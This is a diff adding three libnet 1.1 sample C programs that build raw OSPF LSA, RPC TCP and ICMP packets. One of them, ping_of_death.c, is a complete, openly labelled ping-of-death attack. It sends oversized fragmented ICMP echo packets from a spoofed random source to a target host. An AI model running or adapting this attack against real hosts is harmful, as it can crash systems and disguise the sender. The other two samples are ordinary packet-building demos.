libnet4r 0.1

data/libnet/sample/ospf_lsa.c

@@ -0,0 +1,190 @@
+/*
+ *  $Id: ospf_lsa.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ *  libnet 1.1
+ *  Build an OSPF LSA packet
+ *
+ *  Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ *  All rights reserved.
+ *
+ *  Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com>
+ *  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char **argv)
+{
+    int c;
+    libnet_t *l;
+    libnet_ptag_t t;  
+    u_long src, dst;
+    u_char auth[8] = {0,0,0,0,0,0,0,0};
+    char *from, *to, errbuf[LIBNET_ERRBUF_SIZE];
+
+    printf("libnet 1.1 OSPF LSA packet shaping[raw]\n");
+
+    if (argc != 3) 
+    {
+        usage(argv[0]);
+    }
+
+    from    = argv[1];
+    to      = argv[2];
+
+    /*
+     *  Initialize the library.  Root priviledges are required.
+     */
+    l = libnet_init(
+            LIBNET_RAW4,                            /* injection type */
+            NULL,                                   /* network interface */
+            errbuf);                                /* errbuf */
+ 
+    if (l == NULL)
+    {
+        fprintf(stderr, "libnet_init() failed: %s", errbuf);
+        exit(EXIT_FAILURE);
+    }
+
+    /* Too lazy to check for error */
+    src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE);
+    dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE);
+
+    t = libnet_build_ospfv2_lsa_net(
+        0xffffff00,                                 /* netmask */ 
+        0xc0ffee00,                                 /* router id */
+        NULL,                                       /* payload */
+        0,                                          /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build LSA net header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    t = libnet_build_ospfv2_lsa(
+        40,                                         /* packet age */
+        0,                                          /* options */
+        LIBNET_LS_TYPE_NET,                         /* type */
+        htonl(0xc0ffee00),                          /* LS id */
+        src,                                        /* ad router */
+        0x11111111,                                 /* seq */
+        0xffff,                                     /* checksum */
+        LIBNET_OSPF_LS_NET_H + LIBNET_OSPF_LSA_H,   /* packet length */
+        NULL,                                       /* payload */
+        0,                                          /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build LSA header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    /* authentication data */
+    t = libnet_build_data(
+        auth,                                       /* auth data */
+        LIBNET_OSPF_AUTH_H,                         /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build OSPF AUTH header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    t = libnet_build_ospfv2(
+        LIBNET_OSPF_LSA_H + LIBNET_OSPF_AUTH_H +
+        LIBNET_OSPF_LS_NET_H,                       /* OSPF packet length */
+        LIBNET_OSPF_LSA,                            /* OSPF packet type */
+        htonl(0xd000000d),                          /* router id */
+        htonl(0xc0ffee00),                          /* area id */
+        0,                                          /* checksum */
+        LIBNET_OSPF_AUTH_NULL,                      /* auth type */
+        NULL,                                       /* payload */
+        0,                                          /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    t = libnet_build_ipv4(
+        LIBNET_IPV4_H + LIBNET_OSPF_H + LIBNET_OSPF_AUTH_H +
+        LIBNET_OSPF_LSA_H + LIBNET_OSPF_LS_NET_H,   /* packet total length */
+        0,                                          /* TOS */
+        101,                                        /* IP iD */
+        IP_DF,                                      /* IP frag */
+        254,                                        /* TTL */
+        IPPROTO_OSPF,                               /* protocol */
+        0,                                          /* checksum */
+        src,                                        /* source IP */
+        dst,                                        /* destination IP */
+        NULL,                                       /* payload */
+        0,                                          /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    /*
+     *  Write it to the wire.
+     */
+    c = libnet_write(l);
+    if (c == -1)
+    {
+        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+    else
+    {
+        fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", 
+c);
+    }
+    libnet_destroy(l);
+    return (EXIT_SUCCESS);
+bad:
+    libnet_destroy(l);
+    return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *pname)
+{
+    printf("Usage: %s <source ip> <dest. ip>\n", pname);
+    exit(0);
+}

data/libnet/sample/ping_of_death.c

@@ -0,0 +1,171 @@
+/*
+ *  $Id: ping_of_death.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ *  libnet 1.1
+ *  ICMP ping of death attack
+ *
+ *  Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ *  All rights reserved.
+ *
+ *  Copyright (c) 1999 - 2001 Dug Song <dugsong@monkey.org>
+ *  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+#define FRAG_LEN    1472
+
+int
+main(int argc, char **argv)
+{
+    libnet_t *l;
+    libnet_ptag_t ip;
+    libnet_ptag_t icmp;
+    struct libnet_stats ls;
+    u_long fakesrc, target;
+    u_char *data;
+    int c, i, flags, offset, len;
+    char errbuf[LIBNET_ERRBUF_SIZE];
+  
+    printf("libnet 1.1 Ping of Death[raw]\n"); 
+
+    /*
+     *  Initialize the library.  Root priviledges are required.
+     */
+    l = libnet_init(
+            LIBNET_RAW4,                            /* injection type */
+            NULL,                                   /* network interface */
+            errbuf);                                /* errbuf */
+ 
+    if (l == NULL)
+    {
+        fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+        exit(EXIT_FAILURE);
+    }
+
+    if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE) == -1)))
+    {
+        fprintf(stderr, "Usage: %s <target>\n", argv[0]);
+        exit(EXIT_FAILURE);
+    }
+
+    /* get random src addr. */
+    libnet_seed_prand(l);
+    fakesrc = libnet_get_prand(LIBNET_PRu32);
+  
+    data = malloc(FRAG_LEN);
+    for (i = 0 ; i < FRAG_LEN ; i++)
+    {
+        /* fill it with something */
+        data[i] = 0x3a;
+    }
+
+    ip   = LIBNET_PTAG_INITIALIZER;
+    icmp = LIBNET_PTAG_INITIALIZER;
+
+    for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN))
+    {
+        offset = i;
+        flags = 0;
+
+        if (offset < 65120)
+        {
+            flags = IP_MF;
+            len = FRAG_LEN;
+        }
+        else
+        {
+            /* for a total reconstructed length of 65538 bytes */
+            len = 410;
+        }
+
+        icmp = libnet_build_icmpv4_echo(
+            ICMP_ECHO,                                  /* type */
+            0,                                          /* code */
+            0,                                          /* checksum */
+            666,                                        /* id */
+            666,                                        /* sequence */
+            data,                                       /* payload */
+            len,                                        /* payload size */
+            l,                                          /* libnet handle */
+            icmp);                                      /* libnet ptag */
+        if (icmp == -1)
+        {
+            fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+            goto bad;
+        }
+        /* no reason to do this */
+        libnet_toggle_checksum(l, icmp, 0); 
+
+        ip = libnet_build_ipv4(
+            LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */
+            0,                                          /* TOS */
+            666,                                        /* IP ID */
+            flags | (offset >> 3),                      /* IP Frag */
+            64,                                         /* TTL */
+            IPPROTO_ICMP,                               /* protocol */
+            0,                                          /* checksum */
+            fakesrc,                                    /* source IP */
+            target,                                     /* destination IP */
+            NULL,                                       /* payload */
+            0,                                          /* payload size */
+            l,                                          /* libnet handle */
+            ip);                                        /* libnet ptag */
+        if (ip == -1)
+        {
+            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+            goto bad;
+        }
+
+        c = libnet_write(l);
+        if (c == -1)
+        {
+            fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+        }
+
+        /* tcpdump-style jonks. */
+        printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0),
+                argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : "");
+    }
+
+    libnet_stats(l, &ls);
+    fprintf(stderr, "Packets sent:  %lld\n"
+                    "Packet errors: %lld\n"
+                    "Bytes written: %lld\n",
+                    ls.packets_sent, ls.packet_errors, ls.bytes_written);
+    libnet_destroy(l);
+    free(data);
+    return (EXIT_SUCCESS);
+bad:
+    libnet_destroy(l);
+    free(data);
+    return (EXIT_FAILURE);
+}
+
+/* EOF */

data/libnet/sample/rpc_tcp.c

@@ -0,0 +1,214 @@
+/*
+ *  $Id: rpc_tcp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ *  libnet 1.1
+ *  rpc_tcp.c - Build an RPC TCP packet
+ *
+ *  Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ *  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+    int c;
+    u_char *cp;
+    libnet_t *l;
+    libnet_ptag_t t;
+    char *payload;
+    u_short payload_s;
+    u_long src_ip, dst_ip;
+    u_short src_prt, dst_prt;
+    char errbuf[LIBNET_ERRBUF_SIZE];
+ 
+    printf("libnet 1.1 packet shaping: RPC TCP[raw]\n");
+ 
+    /*
+     *  Initialize the library.  Root priviledges are required.
+     */
+    l = libnet_init(
+            LIBNET_RAW4,                            /* injection type */
+            NULL,                                   /* network interface */
+            errbuf);                                /* errbuf */
+
+    if (l == NULL)
+    {
+        fprintf(stderr, "libnet_init() failed: %s", errbuf);
+        exit(EXIT_FAILURE);
+    }
+
+    src_ip  = 0;
+    dst_ip  = 0;
+    src_prt = 0;
+    dst_prt = 0;
+    payload = NULL;
+    payload_s = 0;
+    while((c = getopt(argc, argv, "d:s:p:")) != EOF)
+    {      
+        switch (c)
+        {
+            /*
+             *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
+             *  point cp to the last dot of the IP address/port string and
+             *  then seperate them with a NULL byte.  The optarg now points to
+             *  just the IP address, and cp points to the port.
+             */
+            case 'd':
+                if (!(cp = strrchr(optarg, '.')))
+                {
+                    usage(argv[0]);
+                }
+                *cp++ = 0;
+                dst_prt = (u_short)atoi(cp);
+                if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+                {
+                    fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+                    exit(EXIT_FAILURE);
+                }
+                break;
+                break;
+            case 'p':
+                payload = optarg;
+                payload_s = strlen(payload);
+                break;
+            case 's':
+                if (!(cp = strrchr(optarg, '.')))
+                {
+                    usage(argv[0]);
+                }
+                *cp++ = 0;
+                src_prt = (u_short)atoi(cp);
+                if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+                {
+                    fprintf(stderr, "Bad source IP address: %s\n", optarg);
+                    exit(EXIT_FAILURE);
+                }
+                break;
+        }
+    }
+    if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+    {
+        usage(argv[0]);
+        exit(EXIT_FAILURE);
+    }
+
+    t = libnet_build_rpc_call(
+        LIBNET_RPC_LAST_FRAG | LIBNET_RPC_CALL_TCP_H,
+        0x10e70082,
+        LIBNET_PMAP_PROGRAM,
+        2,
+        LIBNET_PMAP_PROC_DUMP,
+        0,
+        0,
+        NULL,
+        0,
+        0,
+        NULL,
+        payload,
+        payload_s,
+        l,
+        0);
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    t = libnet_build_tcp(
+        src_prt,                                    /* source port */
+        dst_prt,                                    /* destination port */
+        0x01010101,                                 /* sequence number */
+        0x02020202,                                 /* acknowledgement num */
+        TH_ACK,                                     /* control flags */
+        32767,                                      /* window size */
+        0,                                          /* checksum */
+        0,                                          /* urgent pointer */
+        LIBNET_TCP_H + 44 + payload_s,              /* TCP packet size */
+        NULL,                                       /* payload */
+        0,                                          /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+
+    t = libnet_build_ipv4(
+        LIBNET_IPV4_H + LIBNET_TCP_H + 44 + payload_s,/* length */
+        0,                                          /* TOS */
+        242,                                        /* IP ID */
+        0,                                          /* IP Frag */
+        64,                                         /* TTL */
+        IPPROTO_TCP,                                /* protocol */
+        0,                                          /* checksum */
+        src_ip,                                     /* source IP */
+        dst_ip,                                     /* destination IP */
+        NULL,                                       /* payload */
+        0,                                          /* payload size */
+        l,                                          /* libnet handle */
+        0);                                         /* libnet id */
+    if (t == -1)
+    {
+        fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+        goto bad;
+    } 
+
+    /*
+     *  Write it to the wire.
+     */
+    c = libnet_write(l);
+    if (c == -1)
+    {
+        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+        goto bad;
+    }
+    else
+    {
+        fprintf(stderr, "Wrote %d byte RPC TCP packet; check the wire.\n", c);
+    }
+    libnet_destroy(l);
+    return (EXIT_SUCCESS);
+bad:
+    libnet_destroy(l);
+    return (EXIT_FAILURE); 
+}
+
+
+void
+usage(char *name)
+{
+    fprintf(stderr,
+        "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+        " [-p payload]\n",
+        name);
+}
+
+/* EOF */